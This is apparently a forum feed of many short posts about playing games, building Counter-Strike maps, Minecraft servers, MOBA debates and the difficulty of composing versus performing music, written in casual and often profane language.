AND I LIKE TO PLAY THE DRUMS. I THINK I'M GETTING GOOD BUT I CAN HANDLE CRITICISM. I'LL SHOW YOU WHAT I KNOW AND YOU CAN TELL ME IF YOU THINK I'M GETTING BETTER AT THE DRUMS.

In Song I'm workin' on. by Rockbomb:
SRAW said:
LoL at midi drums

Well I don't play drums, so midi is pretty much my only option. What's wrong with midi?

In Song I'm workin' on. by Rockbomb:
Can you guys hear the bass that kicks in at about 15 seconds? My speakers are pretty good, and pick up crazy low frequencies, so I'm thinking that maybe I maybe it at too low of a frequency and your guys' speakers aren't able to play them. Either that, or my bass isn't bassy enough... either way, we've got a problem.

Lemme know so I can fix it :D

In Music You Recently Discovered! by NatureJay:
They are both bands which play music, though in Captain Beefheart's case, the distinction might be generous. I like him, but Trout Mask Replica is just as unlistenable today as it was forty years ago.

In You guys still shitting around? by SolidKAYOS:
Rockbomb said:
SolidKAYOS said:
My Lady friends dying for me to play with her

Well then maybe you should quit spending so much time thinking about WoW, and please your lady.

Oh, Rockbomb. You know how I am ;)
I could never leave a lady unpleased.

In You guys still shitting around? by Rockbomb:
SolidKAYOS said:
My Lady friends dying for me to play with her

Well then maybe you should quit spending so much time thinking about WoW, and please your lady.

In You guys still shitting around? by SolidKAYOS:
aaronjer said:
I drew some more pictures. They are in Schpida. They are ALL DEDICATED TO YOU AS ALWAYS.

I love you, thank you as always. i will check them once the child leaves my room.

the_cloud_system said:
world of warcraft got me in a vice as school just came back in.

Im actually working on getting that now. My Lady friends dying for me to play with her so me gonna try.

I just got a New computer finally. HP Omni 200. i work at KFC and im not going to my shitty college until spring not sure whaty i want to do. i wanted to go to full sail university and do online courses for Game design but im too poor :( So idk what im going to be doings.

Just came back to check on everybody been gone awhile :p ill try to stay for abit before i suddenly..vanish.

In Challenge! by Sloth:
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In runescape by aaronjer:
I'd say you should go play DDO because it's awesome but you missed your chance. It had a good run, but they changed the combat mechanics and it sucks now.

In runescape by buq25:
Notice the "if" in my post, Molk? Playing Runescape for free and you don't get to play much of the good parts at all. You can play the game for free but don't expect to have that much fun.

I've played Guild Wars. I like WoW better, actually. Not from the gameplay, as they're quite similar except that Guild Wars has a limit to 10 spells (ugh) and some minor things. What I like more of WoW than GW is that not everything is similiar to dungeons, as these "bad" MMORPGS are more based on human interactions than actual gameplay.

In runescape by the_cloud_system:
i play wow cause i get money to pay for it ._.

if your gona play a mmorpg, you should just go and play guild wars.

but i never played runescape or guild wars so i cant say nuffin

In runescape by the_cloud_system:
runescape?

no thanks. i play World of warcraft



the only photo that looks good ._.

In runescape by SRAW:
Well the only reason I'm playing runescape is because I just got the urge to play an rpg game

and just dump it here, it's not like anyone cares

In runescape by SRAW:
Does anyone have a runescape account? I was bored and decided to play it, and after completing some quests, I wondered if anyone was kind enough to give away an old un-used runescape account

In Glowy letters by the_cloud_system:
i have a idea.

this comes from the zombey servers i used to play on.

just shape the words you want.
and apply right color to what you want.

and im shure you can make sparks happen too.

In Shadow and dark areas on the map.. by Mate de Vita:
the_cloud_system said:
i thought if you didn't add any lights at all it wouldn't compile

It will give you an error in the compile log but you can still play the map.

OneGuy said:
Error:
for Face 2964 (texture {fence) at
(1164.000 2511.000 -72.000) (1024.000 2511.000 -72.000) (1024.000 2511.875 -72.000) (1024.000 2512.000 -72.000) (1164.000 2512.000 -72.000)
Error: Bad surface extents (14 x 23 884)
Check the file ZHLTProblems.html for a detailed explanation of this problem

This is not lighting-related. This error is usually caused by using extremely large or extremely small scales on textures. Try pressing alt+p in VHE with your map loaded and see if any errors show up.

In annoying level change issue by gtscott:
Hi,
Ive spent a few weeks working on a map, and it always worked fine (had a few issues along the way yet nothing i couldnt find a fix for)
now i want to play and use the map ive ran into an issue
if i use changelevel to get to my map, half the doors are missing when it loads
if i start a new server with that map it loads fine
if i use the map server command it loads fine
if i use the restart command after the maps loaded broken it loads fine
this is a big issue and i have no idea what causes it


edit:
fixed

too many big doors, cut the biggest door in half and the problem went away

In Dwarf Fortress? by aaronjer:
http://df.magmawiki.com/index.php/DF2010:Controls_guide

There is no good way to learn how to play DF, that's sort of the point. I've played it a ton and I still have to look around for shit until I figure it out. Also, you won't notice for a while most likely, but the game is far less fun right now than it was in 40d. The material system for various metals and how they function as weapons and armor were made very realistic and it is NOT FUN AT ALL. Every battle is 100% one-sided... :(

Really though, there is not system to how DF works. It is rarely consistent. It really is all just individual memorization of what works and when. The menu system and controls are intentionally counter-intuitive. So counter-intuitive that the game is virtually unplayable without at least the 3rd party app called Dwarf Therapist.

In Dwarf Fortress? by buq25:
Does anybody here play Dwarf Fortress?
-If so, could you help me find a tutorial for complete newbies?
I found this but it's teaching you stuff in the way that I don't like. It tells you how to build a fortress, it doesn't go through what the different buttons do.

It says like (from my mind) press d, then d, and use the arrow keys to mark out a spot. Press space and the dwarves (dwarfs?) will start mining.

I want a tutorial with "spacebar pauses and unpauses the game, unless your inside a menu (in which case it's always paused) in which case it moves your menu back one step" etc.

If you don't understand, the top one is saying like "2+2=4". If you learn that, you know that but you aren't able to figure out 1+2 until somebody says "1+2=3". The second one would take longer time to learn the basics but the more difficult stuff would be easy.

Anybody who has a such tutorial?

-I'm also using this post to type a lot because I felt like doing so. Hah.

In Steaming pile of shit problem by SRAW:
so it didn't work, and I reinstalled steam

Now it connects fast , but when I press anywhere it just hangs

valve

FUCKING MONEY MAKING MACHINE IMMA GOING TO PLAY DOTA FUCK U STEAM

In The M-I-N-E-C-R-A-F-T Truck by Mate de Vita:
superjer said:
What program were you trying to open the night picture with?

Firefox. It worked for the day picture but not for the night one.

superjer said:
I usually find slimes by just wandering around at very low Y-levels. There's almost always one or two in sight from the bottom of the main mine shaft in New Castleton.

Well, the problem is that they can only spawn in certain chunks, so I ended up just downloading a mod that told me if I was in a chunk where they could spawn. I know it's cheating but in this world I'm really just playing to build some stuff so I don't really mind cheating a bit. I mean, I mostly play on Peaceful anyway, so it's not really a world where I'd be challenging myself a lot.

Anyway I now have my very own slime farm that took me a few hours to make. But it does bring the slimes to the surface, so I don't have to go down to the cave where they spawn every time, so I'm quite happy with it.

In HoW dO I Make a Circle OR any Shape except Cube ? by the_cloud_system:
and play with the vertex tool if you are looking to make something like a right triangle

In Made a new video by molkman:
Nice one.

Too bad the punchline is already in the preview youtube frame that's shown before you clickety click play.

In LEAK error in cs map making :( by nimbu:
Please guide. I am working on my first map, and even after trying 10 times, I am not able to play it.
the error says -

"hlvis: Error: Portal file 'catpee.prt' does not exist, cannot vis the map"

In Huge influx of dota noobs recently by Outcast:
It's not that hard to play dota online that's why ..

In Huge influx of dota noobs recently by NatureJay:
molkman said:
Solution: Don't play dota.

Ha.

Buy a Mac

Wait, what are we talking abuot?

In Huge influx of dota noobs recently by SRAW:
You can play in high level rooms, but they're full all of the time, and you need to get a gold membership, and usually the high level rooms are full with them and thats why you can't join :'(

In Huge influx of dota noobs recently by molkman:
Solution: Don't play dota.

Ha.

In Huge influx of dota noobs recently by SRAW:
I mean, it seems that nowadays virtually every game I play on has atleast 5 noobs, and more lesser noobs (like a sniper buying poor man shield without tangoes for his first items)

WHY?

In can't play in my map :( by goxk:
SRAW said:
First of all, use image tags
and secondly http://i51.tinypic.com/59zedh.jpg suggests that you probably have too many entities or something...take a screenshot of your map please


hey man,
I deleted some entity and now I can play my map.
but this map is very dark:



I have used these options (in Map Propreties):




ps.

how to make this texture as transparency ?



how can I add some trees and cars ?

and how can I speed up compiling because I am waiting 2 hours for it :(

thnx in advence

In can't play in my map :( by goxk:
hi all.
I fixed error with compiling , but now I have another problem with my MAP.
when I want to play my map in CS 1.6, the game not start :(

1.
http://i55.tinypic.com/snmkab.jpg

2.
http://i52.tinypic.com/2lvz3nn.jpg


I have a CS server too (I have created it with HLDS) and when I select to play my map, in my PC showed an error:

1.
http://i51.tinypic.com/20t2iiu.jpg

2.
http://i51.tinypic.com/59zedh.jpg

sorry for my bad english :S

In map Don't OPen cuz: Failed to initalize authentication Interface by EgyptBeast:
ohhhhhhhhhhhhhh nW i get it

wHen i Open Half-Life game "hl" it says the same error.............................sO the "mapname.bat" file boots from "hl" file in the Counter strike game


Iam using 1.6 Version and when I play either Half Life or Cs it loads a window says that the Game will begin after 5 , 4 , 3 , 2 , 1 and Boom the game gets On

sO guyZ some one help me

In Sound recording by the_cloud_system:
is it for counter strike? ingame?
if so http://www.youtube.com/watch?v=CN6xduEig4s

if not im just gona play the "google it your self, card."
http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=on-screen+audio

In The Official Omegle™ Truck by mato_mato:
You're now chatting with a random stranger. Say hi!
Official messages from Omegle will not be sent with the label 'Stranger:'. Strangers claiming to represent Omegle are lying.
Stranger: indian girl?
You: no
Stranger: umm asl?
You: you n00b
You: sla
Stranger: u play cs?
You: hod do oyu know
You: how
You: omg
Stranger: nOOb thng
You: how do you know
You: oh that
Stranger: asl?
You: 11 m sk
Stranger: cool
You: what?
Your conversational partner has disconnected.

In Bot Pathways by Runetribe:
What is Podbot, if i may ask? All i've ever done is construct a map in hammer, compile it and play it in CS, so i don't have any experience in the Bot-pathway field.

In Playstation Network by the_cloud_system:
im pretty pissed that i cant play shitty mw2 atall.

like... when i have a chance too and shit.

In Playstation Network by fedex _:
Well , Rockbomb should know about this since hes on my friends list on psn....


A 18 year old guy hacked into the mother fucking playstation network
and its been down for about 2 weeks I think , and nobody knows when it's gonna be back on , but I wanna play the new mortal kombat online but I can't due to playstations shity ass network ,

I can't believe a billion dollar company gets hacked into...

In The M-I-N-E-C-R-A-F-T Truck by Crytax:
the_cloud_system said:

Tab 1: www.rainymood.com/
Tab 2: endlessvideo.com/watch?v=HMnrl0tmd3k
Tab 3: endlessvideo.com/watch?v=DIx3aMRDUL4

play them all

classy.bat




In FormMail ignoring $postmaster by SuperJer:
I usually have to call sendmail with

sendmail -f from@address.tld

or it won't play nice. It really doesn't want to send any mail from an "unknown" address. But I suck at mail systems.

In Stop another music when i play a music and chance game by onurmert06:
First sorry for my bad English :( and i want to say everybody Hi
I am new at there . I am trying to learn Vhe. I want to ask something. I want to add 4 music in my map. I add them with ambient_generic and with button. I start one of them. And i want to start another one with stop first one. How can i do something like stop playing first and play second with one button? When i press third it stop all of playing musics and just starting third.
And my second question. I want to make chance game like dice with just one button. Every pressing show differnt numbers from 1 to 6. I see that on one jail break map and i want to learn how can i do this?
Sorry for my bad English again. But i will learn carefully :)

In The M-I-N-E-C-R-A-F-T Truck by the_cloud_system:
sprinkles said:
the_cloud_system said:

That's what I'm doing tonight.

Crown Royal and Black and Milds.





Tab 1: www.rainymood.com/
Tab 2: endlessvideo.com/watch?v=HMnrl0tmd3k
Tab 3: endlessvideo.com/watch?v=DIx3aMRDUL4

play them all

classy.bat

In Laptop by Sloth:
I had a rough time finding the perfect laptop, I wanted it to fit for watching movies, which is Storage & processor. I wanted to play some games, Minecraft, Starcraft, Portal etc. And I wanted to have a laptop to study on. I browsed alot and found a perfect combination (almost)
The Hewlett Packard DV60000,
I went to a computer store and bought it for Approx. 600$ ( I live in Denmark, in DKK it's 4500,- But it was a sale day and I had a gift card) I went home spended alot of time setting everything up, anti-virus, personal settings, Getting rid of preinstalled shit etc.

I installed all my games and went happy. Until.............


I plugged my gamermouse into the laptop, and I saw that it worked super. Now usually I don't unplug my usb's so I just Shut down the pc. Completely. And went to do some other stuff. I returned and pressed the start up button. All LED lights went on and i could her the fan working. Uh-oh The screen never responded, it remained black. Thats when I went googling. This PC has alot of bugs. HP failed completely it works perfectly when you got it started up, but it has some physical bugs. If you plug a internet-cabel into it, you wont be able to pull it out unless you use a knife etc. to lever it out.

Theres many versions of the DV6, my brother has a thicker more expensive one. And i have the cheapest and thinnest one.

the Dv6 Series is bugged, but good and reasonable.


I haven't checked if theres a latest fix..

I forgot my conclusion but I g2g.




In Alt tab freezing by nectar:
When i play Counter strike 1,6 and i press alt tab to do something else it just freezes, and i need to figure out doing alt tab till i get to counter strike again and then it unfreezes, dunno why, tell me?

In de_contra - CS:S by quank:
Hello, hopefully this is the right place for this thread. Anyhow, I was just wondering if SuperJer would be able to update de_contra for CS:S. Since the port to OB the sewer water makes splash effects even if there is no one in them. It's really annoying and during competitive play, it's even more of an issue. So, I ask - can we expect a small update for the map to resolve this issue SuperJer?

Cheers!

In Dino-DDAY! by aaronjer:
Source looked dated to me when it came out and I still play source games. Regardless, I almost never play FPSs anymore, so chances are low that I will play this.

In Never say never! Meets serious baby. by SRAW:
I got a .wav file of Justin Bieber Baby with reduced bass and set to play through the counter strike mic (via hlss)

If anyone wants it I can upload, and Friday and maybe even some metallica songs I like to spam.

In Compile maps to Half Life 2? by theodoros95:
SRAW said:
The source sdk is for the latest version of source... you probably need to get an update for hl2 if you're being a pirate.


I have the latest version and i can play to the setti servers.

In Compile maps to Half Life 2? by theodoros95:
But with Alien Swarm SDK I can only compile maps to play with Alien Swarm, isn't it?

In LoL by SRAW:
WTF @_@ I decided to play some dota, logging in to garena, and find one of my friends, who saw my status that I was playing LoL yesterday, is now playing LoL, so I just messaged him telling him that LoL sucks and that he should play HoN or dota.

In LoL by aaronjer:
You have to be able to deselect your hero so that you can select minions instead. I always random as well if given the option. If it's an -sd or -rd I'll usually just pick whatever is best for my team.

You should always play random characters when you first start playing the game. It's the only way to get a feel for all the characters and know how to deal with them when you're against them. The only case in which you should pick a hero is if you're playing with a team you know against a team that knows each other as well. Either that or everyone on your team picked ranged support or mid game characters and you have to pick a melee stunner to carry the team.

I agree about the item shop being worse, but it's still entirely tolerable. The hero models you just get used to. It was probably a long time ago but it was just as hard to get used to the heroes in DotA as well. Although it helped if you'd already played a lot of WC3.

And come on, SRAW. The network issues? HoN has DotA beat so hard all the rest of the stuff feels like useless fluff. I mean, the item shop is a little bit of a mess... BIG DEAL, you can fucking finish the game without half the players disconnecting! You can also find matches suitable to your skill level and people that dc on purpose don't get to play! It's awesome!

Anyway, essentially, LoL is DotA/HoN for noobs. It's like TF2 to FF or TFC. Everything is simplified and the skill ceiling is dragged kicking and screaming down to just above the floor. Being moderately proficient at playing DotA/HoN as it is, I could never play LoL. It's like putting the training wheels and floaters on simultaneously and then having my mom hold my hand while I play.

To answer your question about free HoN, I got a beta key. There are also other ways to play it free that I have never looked into because I got a beta key. I did pay for the game anyway, but I didn't have to, it just deserved my money.

Also... yeah... what the fuck IS with how cartoony LoL is? It out-cartooned DotA by a long shot, and DotA is pretty fucking cartoony.

In LoL by SRAW:
And when I play dota I random every single time, since the extra 250 gold is pretty important early game.

and why you never played a random game or randomed is beyond me buq25...

and yes, this is a triple post

SUCK IT LoL

In LoL by buq25:
I have just scratched the surface of DotA, yes. Not denying that. On the other hand I've never played a match where you're forced to play a random character (sounded like that's what you meant).

I don't either understand why people like the whole "control a single character which you can deselect" thing. LoL has made your champion always selected but you can still look at your enemies without loosing control of your own champion.

Sure, marking your champion to '1' for an example in DotA. DotA couldn't fix it and still make "stalking" your enemies possible because of the whole RTS-based game.

I'm not saying that HoN or DotA are bad games, I'm just saying that I don't like them.

Also, AJ, you said something about playing HoN free, are you doing that using Garena/something else? I could test it if it's free.

In LoL by aaronjer:
Yeah. Play with autobalance or with a group of friends against a group of opponents. There's no way to get a non-ab game going without one side being massively stacked otherwise.

In LoL by aaronjer:
SRAW said:
Umm dota is pretty balanced actually, and there is no 6 second stun with 4 second cooldown (infact the only 6 second stun in the game is techies stun mine, then I think the next longest is alchemist with 4, DK with 3 and the rest are mostly 2 seconds or less).

And I really don't like the cartoony graphics, and the stupid mastery system and the summoner stuff, the fact you can't pick up runes, and the item buying system is pretty dumb also.

Denying creeps is an important part of what makes Dota, since it usually gets your opponent pissed off if you play as sniper and deny every single creep until they start pinging at you like crazy


^This.

SRAW said:
Just downloaded HoN and got this error: I joined a random game, and pressed on the shop, and I cant buy items! I mean the menu on the left comes up, but i press on everything and nothing happens, and the menu is still there. I also press on the X button, and it wont close

... Hopefully dota 2 will be good


But items is very picky. It's not a problem once you know how it works but the item shops won't function unless you're standing in the exact right spot, have your hero selected, and aren't in the middle of using or trying to use an ability. One of those things is probably why it didn't work. There's also the possibility that you were trying to buy secret shop items. The item menu shows every buyable item regardless of whether or not you're at the shop that sells it.

Most control problems in HoN boil down to not having your hero selected when you think you do.

There apparently is some bug in a recent patch I've heard people talking about that makes the shop freeze up rarely. It might have just been that. Normally I'd be all bitchy about a bug that big making it in to the game but the game is free...

In LoL by SRAW:
Umm dota is pretty balanced actually, and there is no 6 second stun with 4 second cooldown (infact the only 6 second stun in the game is techies stun mine, then I think the next longest is alchemist with 4, DK with 3 and the rest are mostly 2 seconds or less).

And I really don't like the cartoony graphics, and the stupid mastery system and the summoner stuff, the fact you can't pick up runes, and the item buying system is pretty dumb also.

Denying creeps is an important part of what makes Dota, since it usually gets your opponent pissed off if you play as sniper and deny every single creep until they start pinging at you like crazy

In LoL by aaronjer:
buq25 said:

DotA players are more used to that so if they leave, they go to HoN which I'm happy about since they're really helpful to newbies. Glad I don't have to play against them.
.

You couldn't play against them in HoN if you wanted to. The games are seperated by your score. You'd be unable to even join a game against people who aren't also newbies. And if you were pretty bad you'd quickly get tossed in with the low score crowd and be able to happily play with people of your skill level.

buq25 said:
You can't deny creep, thankfully. In DotA most people play rangers.
You want to know why? Since they can deny so redicolously easy.
.

No... just... no. That's just not. Like, my god it's not. This is what I mean when I say people simply haven't played DotA. It's painfully obvious you haven't after saying something like that. Not more than barely scratching the surface of the game at most anyway.

I mean, good god. There are game modes. Most people play ranged characters? Yeah, I'm sure they can do that when they're assigned a random fucking hero.

In LoL by buq25:
aaronjer said:
Yes. Indeed. That thing I said. LoL is just ghetto HoN/DotA. It incorporates metagame unlock bullshit that I hate as well.

It's weird how many people think that LoL is just as much like DotA as HoN is. The only thing that could possibly cause that is them simply having never played HoN and probably also never played DotA. Since if they had they'd be all like "WTF is this shit" and go play a real version of the game.

HoN=DotA. I never have enjoyed DotA. I do enjoy LoL.

LoL is similiar to DotA because of it's base (kill creep get money, pay money get stuff, use stuff kill players yadadadada). Then LoL removed the extremely horrible in DotA (Yaaay, 6 second stun with 4 second cooldown!) and made it more player friendly.

DotA players are more used to that so if they leave, they go to HoN which I'm happy about since they're really helpful to newbies. Glad I don't have to play against them.

@Sraw, click spacebar to automatically target your champion.

You can't deny creep, thankfully. In DotA most people play rangers.
You want to know why? Since they can deny so redicolously easy.

You CAN select enemy stuff! In your top left corner there's your champion. To the left of that you can see whatever you've marked.

I like the graphics and their cartoony style. Otherwise you're meaning that your computer is horrible.

In LoL by aaronjer:
Yes. Indeed. That thing I said. LoL is just ghetto HoN/DotA. It incorporates metagame unlock bullshit that I hate as well.

It's weird how many people think that LoL is just as much like DotA as HoN is. The only thing that could possibly cause that is them simply having never played HoN and probably also never played DotA. Since if they had they'd be all like "WTF is this shit" and go play a real version of the game.

In awp_snowsk337 bug and improvements by aaronjer:
You play CS as much as you do and you've never played a skeet map? That's actually pretty hard to believe.

In Holy shit by Outcast:
Well i don't play on public servers often .. it's not Russian btw it's from Poland.

In So for you guys who never have experienced these things by molkman:
I'm not watching the 2nd one already from the picture that's shown before you click play.

In Holy shit by SRAW:
Wtf I dont play on random russian servers, it was some taiwanese server

In The M-I-N-E-C-R-A-F-T Truck by SuperJer:
"Freebuild" server launched!

mc.superjer.com:25566

This new machine is so powerful I decided to put back up the old Minecraft world with Castletown in it.

It's all olden-style with no monsters and regenerating health.

If you ask nicely, an admin might even come in and spawn stuff for you. But not in the regular server. That one's supposed to be all hardcore and shit.

Connect to mc.superjer.com:25566 to play.

In .Map to BSP by uppity:
Okay so ive made my map right, and ive put in everything i want, now i dont know how to convert it to a BSP format so i can play on it, please help

In The M-I-N-E-C-R-A-F-T Truck by Mate de Vita:
If I try to play minecraft, I get the BSOD, and then my laptop restarts.

In Music You Recently Discovered! by SolidKAYOS:
aaronjer said:
Havokk... for serious. You're playing FF games, which are chock full of totally amazing music by Nobuo Uematsu, a world renowned composer so badass that symphonies play his music all over the world regardless of any connection the concert has to video games... and THAT is what you pick out as good?

well it was "recent" Nobuo yes i very much agree, he is a music god if you wanted me to post those..i wouldve.

In Music You Recently Discovered! by aaronjer:
Havokk... for serious. You're playing FF games, which are chock full of totally amazing music by Nobuo Uematsu, a world renowned composer so badass that symphonies play his music all over the world regardless of any connection the concert has to video games... and THAT is what you pick out as good?

In (other) minecraft server. by the_cloud_system:
yah, the ones that are free to play
here

In (other) minecraft server. by molkman:
What else is the current server all about if not fun building?

Also, I don't think there's a way around buying the game if you want to play specific servers.

In equipment by Curz-:
How do u start your map ? Do you compile with zhlt and then play?
because when u do that the player will have no guns.

Compile your map,save it as a bsp. file in your cstrike/maps folder.
Then open CS, go to New Game and then choose youre map.
When you spawn,u should have a gun and a knife.

In rap is not music by molkman:
The problem probably is more to get the musician to play your song the way you have it in mind (and way harder, to sing it like you have it in mind) than actually finding one.

When a band claims to not want to make popular songs, are those songs better? Better quality because only few people like them? I think the best way to determine the quality of a song is the popularity. But then again, there is absolutely no need to determine the general, objective quality of a song, because wheter someone likes a song is not determined by objective qualities, but by "feelings" or parameters even the someone himself can't explain. That way, a song can't be good to everyone at the same time, just because some test says it's awesome.

The reason why lovesongs are the most popular type of songs probably is because almost anyone can relate to the topic. Subconsciously.

In rap is not music by aaronjer:
superjer said:

Just because someone's good at composing doesn't mean they can make it sound good on a computer. Music making software is more about dodging bugs and tricking the software into doing what you want than actually writing anything. It's unnecessarily difficult.

aaronjer said:
Theoretically

superjer said:

Also I don't think it's so easy to get a reasonably good musician to play your music. It's almost impossible to get people to listen to something, nevermind learn it and play it.

I don't think it would be very hard to get them to play it if you just paid them... but really, I'm not totally convinced everyone has had the same experiences with terrible audio software that you have. I think computers are a pretty viable option. There's a fair amount of reasonably well composed music that's never touched a real instrument made by random douche bags on the internet.

...there's also an ungodly enormous, steaming mass of terribly composed garbage out there. I don't think either of us really knows if it's awful because of the software or because of the composers, but my money is on the composer.






In rap is not music by SuperJer:
It might sound OK but production quality makes a huge difference. Don't undervalue it.

There's a reason why all popular music is impeccably produced, even with debatable levels of quality in other categories.

Just because someone's good at composing doesn't mean they can make it sound good on a computer. Music making software is more about dodging bugs and tricking the software into doing what you want than actually writing anything. It's unnecessarily difficult.

Also I don't think it's easy at all to get a reasonably good musician to play your music. It's almost impossible to get people to listen to something, nevermind learn it and play it.

In rap is not music by aaronjer:
superjer said:
(B) Someone just taking up composing will sound like crap even if they write good stuff unless they have someone to perform and produce at high quality. That's a lot harder to come by than sheet music in (A).


I don't think that's necessarily true. As long as you are subjecting the correct audience to your compositions it could take little effort to play the song. This is what I was talking about when I said it's easy to find a musician to play your music. When I say 'musician' I am not leaving out computers. Even if you had to resort to midi (please don't start talking about what midi really means, you KNOW what kind of midi I mean) there are people that inexplicably prefer it. Theoretically your music should sound good to the weird midi people if it's well-written.

In rap is not music by SuperJer:
aaronjer said:
Can we get a statement from you now about the rarity of composers versus musicians?


Composers are more rare to find but the reasons for that are unclear.

For example!

(A) Anyone who tries to learn to play an instrument will quickly enter a positive feedback cycle whereby the more they practice, the better they sound.

(B) Someone just taking up composing will sound like crap even if they write good stuff unless they have someone to perform and produce at high quality. That's a lot harder to come by than sheet music in (A).

In rap is not music by SuperJer:
You guys are all over-simplifying.

I don't think you can even really compare the "hardness" of these things.

For one thing, we can pretty easily measure someone's skill at playing an instrument by comparing accuracy to the sheet music or a reference performance.

You can't do anything like that with writing music. The popularity of a song does not tell you anything about the skill required to write it. In fact, it tells you more about the skill of the performer, the production quality, instruments used, pre-existing popularity of the performer, familiarity of sound*, and marketing.

Songs used in movies, TV, and radio become popular. Ones that aren't don't. Very few exceptions. This isn't just true for music, it's true for everything. If you never hear it or see it you're never going to like it no matter how much you would like it.

The fact is, there is waaaaaay more music than can ever be marketed or heard on a large scale.

It doesn't take me long to find extremely unpopular music that I like. Even though I think the artist is great, I know there's very little chance they will ever become popular. Not because they suck but because there's only room for so much popular music. You can't have 10,000 songs all popular at once, it just doesn't make sense.

We can't all be astronauts or pro-athletes, either, even if we are all perfect for the job(s).

As with anything, the best way to measure something is to ask the experts. Have a large group of music writers judge the skill of each other, and you can probably get a pretty good measurement.

But I don't see anyone doing that.

If you use popularity, at best you are judging skill at writing popular music, not general skill. At worst you're just measuring the factors I listed earlier and pretending you're measuring skill.


*It's been shown scientifically that people like music because they recognize it. Your brain is literally trained over time to become accustomed to the music you listen to, and recognizing the same patterns leads to enjoyment. This is why if any of you (probably) listen to very foreign music you won't like it. It won't even sound like music to you because your brain is physically not adapted in a way to recognize it musically. This is especially true of foreign music that uses a different scale with more or less notes.

Disclaimer: you are (probably) not a robot and your brain's musical recognition configuration is not the only thing that determines whether you will like a song. You can think too, so critical evaluation and emotions all play a role. You may not like a song because it sounds too unoriginal, for example. But generally you will like a song because it is both familiar and interesting in a new way.

In rap is not music by molkman:
Outcast said:
Uh no,practice (talking about instruments) takes a lot more than writing a song.Yeah,you can't always write a song that many people will listen to and go "holy fuck" but it's not very hard to write music,if you know scales and stuff.Let's say you wrote a song that has sixteenth notes in it,but you think it would sound better at about 180bpm but you can only play 100.Reaching there could take about a year or more in some cases.

It's not like when you have learned how to "physically" write down notes and put them in right harmony you actually "write" a song. And you can't compare the time it takes learning an instrument with the time it takes to write a song. That's just one dimensional thinking. The idea for a great song might come quite fast or it might take ages. Anyway it is way harder than learning an instrument, as aaronjer said.

But then again, going from playing an instrument well to being a virtuoso, it takes the same as it takes to write an amazing song.

In rap is not music by aaronjer:
You can't always write a holy fuck song? Almost nobody can ever do that. Really amazing composers are far more rare than really amazing players. You can go on youtube and find an endless supply of people who can play an instrument extremely well... or more than one at once occasionally. You can't really say the same as far as composing goes. The majority of those musicians are just playing somebody else's stuff. They don't even try to write their own stuff, and for good reason! It's fucking hard!

Outcast said:
Let's say you wrote a song that has sixteenth notes in it,but you think it would sound better at about 180bpm but you can only play 100.Reaching there could take about a year or more in some cases.


Playing an instrument requires zero creativity, just manual dexterity, quick thinking and a lot of practice. Anybody without a disability and a lot of patience can eventually play a song perfectly. You could give the average person all the time in the world and they'd never come up with an amazing song. You're either good at it or you're not. Practice won't help you if you're not a natural. Something that you have to be born with, like creativity, is far rarer than something that can be practiced and perfected.

So I'm sort of wrong on one count, I guess, there are amazing composers who can come up with an incredible song in less than a day, and there are also people who are mentally incapable of it. Hard doesn't even factor into it in those cases. For someone who is just fairly creative though, it'd be a hell of a lot of work.

It's still much more important to be able to write it than play it, since you can always find yourself a willing musician... it just isn't necessarily harder.

In rap is not music by Outcast:
aaronjer said:
I think the important thing that people with a viewpoint like Outcast need to remember is that good music is far harder to write than play. That, and it's far more important to be able to write it than play it. Tons of people can play a song correctly, but only one person was able to write it. Computers can do a pretty good job emulating the actual playing of music, but they certainly can't write it.


Uh no,practice (talking about instruments) takes a lot more than writing a song.Yeah,you can't always write a song that many people will listen to and go "holy fuck" but it's not very hard to write music,if you know scales and stuff.Let's say you wrote a song that has sixteenth notes in it,but you think it would sound better at about 180bpm but you can only play 100.Reaching there could take about a year or more in some cases.

molkman said:
Haters gonna hate!


Only people with no knowledge of music "hate" other genres of music,i don't hate anyone :)

In rap is not music by aaronjer:
I think the important thing that people with a viewpoint like Outcast need to remember is that good music is far harder to write than play. That, and it's far more important to be able to write it than play it. Tons of people can play a song correctly, but only one person was able to write it. Computers can do a pretty good job emulating the actual playing of music, but they certainly can't write it.

In The M-I-N-E-C-R-A-F-T Truck by aaronjer:
You have to pay for the game to play it.

In Juley's Dex Monk Build For Brerylla by buq25:
Down Rodeo said:
You have to fund the game *somehow*...

That's why I don't really trust complete F2P games. Riot Games (League of Legends) got it since it's easier to pay than to play but it's still no actual difference.

There's been made a word. If a "F2P" game forces you to pay, the company's done a GPotato, from the company GPotato.

GPotato has "Free" games, which are almost unbearable to play without paying since you either get some sort of de-buff (Seriously, 75% damage less) or that you're able to defeat somebody in the highest level when you're the lowest just because you've spent some real money. In a game that requires no actual skill.

Had I seen a big "DONATE" button on DDO's front page or "SPONSORED BY..." I'd have no real distrust. Now, because of AaronJer, I'm kinda split.

In Juley's Dex Monk Build For Brerylla by Down Rodeo:
Stop making me want to play!

I don't have any problem with people paying for content btw, you have to fund the game *somehow*...

In Juley's Dex Monk Build For Brerylla by aaronjer:
Everything can be obtained without paying for it because you get turbine points by playing the game. Some things can be obtained somewhat faster by paying. NO good items can be bought with real money. The only things you really need to purchase with points are adventure packs, and you only need a couple of them.

There is no penalty for being F2P. You just don't have access to as many things right off the bat. You don't have access to everything right away as VIP either. They didn't split the VIP and F2P quests in any meaningful way. Which quests are good/worth a lot/fun is totally random and with no real connection to whether or not it's free. The really big thing here is that if you have even one friend that is VIP they can use a guest pass that lets you into a quest you haven't purchased... so if you're good at making friends you can go everywhere anyway.

There is no real max level any more. It used to be 20, but now you can reincarnate. When you reincarnate you go back to level 1, can change anything about your character other than your name, start with higher base stats (cumulatively every time you reincarnate) and keep all your items. (this is especially meaningful because the vast majority of items are obtained when you're well above the level requirement to use them) It takes 1.6 times longer to level each time you reincarnate, which thankfully only stacks to a total of 2.2.

People level at extremely variable rates, and it really depends on your character build. If you make a healbot cleric you will only level as fast as the best party you can find. If you make a monk you can go from level 1-12 even on a reincarnated character in 48 hours by soloing everything. This, of course, is only possible if you're an unstoppable badass like me. Leveling gets much, MUCH slower as you get higher level, though. It's possible to hit level 20 with your first character in less than a week, but most people will take a few months.

If you're willing to spend ANY money at all I'd suggest you buy the monk class (only after you've unlocked 32-point builds), because it's fun and relatively easy to get passably good at playing, and the Vale of Twilight adventure pack, because it alone can get you to level 20 easily. Vale is still the first thing you should unlock even if you're doing it the free way.

